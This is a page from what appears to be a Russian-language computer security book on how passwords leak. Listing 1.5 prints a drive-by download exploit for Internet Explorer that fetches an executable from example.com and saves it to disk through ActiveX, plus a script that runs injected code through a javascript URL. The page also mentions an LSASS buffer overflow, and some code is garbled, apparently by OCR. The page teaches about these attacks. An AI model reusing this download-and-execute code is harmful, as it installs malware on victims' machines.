Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.

Рис. 1.2. И опять наш «Касперский» оказался на высоте

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.OpenC'GET', "http://www.example.com/1.exe", 0);

x.Send();

var s = new ActiveXObject("ADODB.Stream");

s.Mode = 3;

s.Type = 1;

s.Open();

s.Write(x.responseBody);

s.SaveToFile("C:\\example.exe", 2);

</script>

<script language="javascript">

 function preparecode(code)

{ result = "";

lines = code.split(/\r\n/);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/*\s+/,"");

line = line.replace(/\s+$/,"");

line = line.replace(/'/g,"\'");

line = line.replace(/[\\]/g,"\\");

line = line.replace(/[/]/g,"%2f");

if (line != '') {

result += line +'\\r\\n';

}

}

return result;

}

function doit() {

mycode = preparecode(document.all.code.value);

myURL = "file:javascript:eval(" + mycode + "')";

window.open(myURL, "_media");

}

setTimeout("doit()", 5000);

</script>

</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.



6 из 252